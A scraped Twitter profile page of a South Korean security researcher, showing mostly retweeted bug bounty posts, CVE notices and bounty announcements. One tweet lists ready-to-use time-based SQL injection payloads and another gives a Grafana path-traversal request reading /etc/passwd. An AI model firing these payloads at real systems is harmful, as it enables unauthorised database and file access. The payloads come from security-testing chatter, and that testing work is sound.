z2hackers @z2hackers

GOTROOT CEO, Synack Red Team Member gotroot.co.kr South Korea Joined April 2020

Tweets

44
Followers

18
Following

155
Likes

35

payloadartist @payloadartist

3 years ago

🔥 "How I Got $10,000 From GitHub For Bypassing Filtration oF HTML tags" Great finding by @saajanbhujel infosecwriteups.com/how-i-got-10-0… #infosec #cybersecurity #bugbounty #bugbountytips #Pentesting

2 44 109 0 24

Download Image

Add to your list #SQL #injection payload #BugBounty 1%27/**/%256fR/**/50%2521%253D22%253B%2523 == "0\"XOR(if(now()=sysdate(),sleep(9),0))XOR\"Z", === query=login&username=rrr';SELECT PG_SLEEP(5)--&password=rr&submit=Login == ' AND (SELECT 8871 FROM (SELECT(SLEEP(5)))uZxz)

27 252 772 0 307

ReconOne @ReconOne_bk

3 years ago

[Oh noo] New 0-Day affecting WordPress exploited in the wild 👇 WordPress BackupBuddy Plugin LFI (CVE-2022-31474) Try this non-destructive Template to detect the vulnerability at scale 👇 #recon #AttackSurface #bugbountytips #bugbounty #nuclei #cve #cve2022 #wordpress #0day

4 108 301 0 79

Download Image

张惠倩 @momika233

3 years ago

CVE-2022-22629 Proof of concept This post is about the poc for the WebGL bug that was patched in Safari 15.4 security updates. github.com/parsdefense/CV…

0 14 37 0 5

ippsec @ippsec

3 years ago

Just uploaded my favorite way to detect Password Sprays and Kerberoasting on a budget by combining Event Log Filters, Scheduled Tasks, and CanaryTokens. The ability to create scheduled tasks that fire upon specific eventlog events is super powerful. youtu.be/BT9pT1tAmX8

5 172 689 0 178

jkana101 @jkana101

3 years ago

RCE made my day ✌️ #bugbounty

16 9 253 0 12

Download Image

akincibor.base.eth @akincibor1

3 years ago

RCE on a crypto website, bounty 150 USDT :( #BugBounty

37 73 663 0 97

Download Image

Mohsin Khan @tabaahi_

3 years ago

[story of September 2021] #bugbounty #bugbountytip This is how I found 40 open redirection in 2 weeks. Bugcrowd accept open redirect as P4🧵 1. I collected all *,main domains 2. Used passive subdomain finding tools to find domains 1/n

23 125 467 0 210

SHOWBOX @showboxmovie

3 years ago

8월 IMAX 개봉 확정! <비상선언> 공식 예고편 공개 기념 이벤트! ✈️🚨 예고편을 리트윗하면 추첨을 통해 예매권을 드립니다! (~6/19) 🎁 *꿀팁👀 리트윗 시 기대평도 함께 남기면 당첨 확률 UP! ✔ 비공개 계정의 경우 참여가 제한됩니다. ✔이벤트 당첨자는 개별 DM으로 발표됩니다.

205 2K 2K 0 73

Download Video

JS0N Haddix @Jhaddix

3 years ago

🧵A hackers guide to FINDING cybersecurity jobs🧵 Many people know of the normal ways to look for jobs like LinkedIn & Indeed... but we're hackers! Today I'm going to share with you my top places/tips for finding your next gig. 🚨Retweet, follow, & like for more! 🚨 1/

71 836 2K 0 2K

张惠倩 @momika233

3 years ago

CVE-2022-32275 Grafana 8.4.3 allows reading files via (for example) a /dashboard/snapshot/%7B%7Bconstructor.constructor'/.. /.. /.. /.. /.. /.. /.. /.. /etc/passwd

22 289 884 0 146

Ptrace Security GmbH @ptracesecurity

3 years ago

CVE-2022-1183: High-Severity Vulnerability in BIND Server securityonline.info/cve-2022-1183-… #Pentesting #Vulnerability #CyberSecurity #Infosec

0 11 27 0 2

◣ ◥◣ 🍳 ◥◣ ◥ @EggMari0

3 years ago

Apache Tomcat 취약점 보안 업데이트 권고 o Apache Tomcat에서 WebSocket 연결 종료와 동시에 WebSocket 메시지를 보내는 경우, 공격자가 소켓을 지속적으로 사용할 수 있는 취약점(CVE-2022-25762) 영향받는 버전 krcert.or.kr/data/secNotice…

0 2 1 0 0

H4x0r.DZ @h4x0r_dz

3 years ago

Vulnerability In PayPal worth 200000$ bounty, Attacker can Steal Your Balance by One-Click medium.com/@h4x0r_dz/vuln…

58 288 1K 0 202

z2hackers @z2hackers

3 years ago

Process injection to Functiom Hijacking klezvirus.github.io/RedTeaming/AV_…

0 0 0 0 0

klez @KlezVirus

3 years ago

[BLOG POST] Finally managed to write down a post about FunctionHijacking, a "new" process injection technique built upon Module/Function Stomping, along with my experiments to break behavioral based detection of other common process injection techniques. klezvirus.github.io/RedTeaming/AV_…

6 237 548 0 172

nadino @Agornello

3 years ago

Yay, I was awarded a $100,000 bounty on @Hacker0x01! hackerone.com/nadino #TogetherWeHitHarder

25 28 481 0 32

Ozgur Alp @ozgur_bbh

3 years ago

Synack Red Team Turkey Yacht Party is about going to start!

1 7 142 0 0

Download Image

Intigriti @intigriti

3 years ago

Do you always test ALL parameters? Also the hidden ones? If not, then start doing it NOW because they may be hiding some potential bounties 💰 Thank you @canmustdie for providing this one!💪 #bugbounty #bugbountytips 👇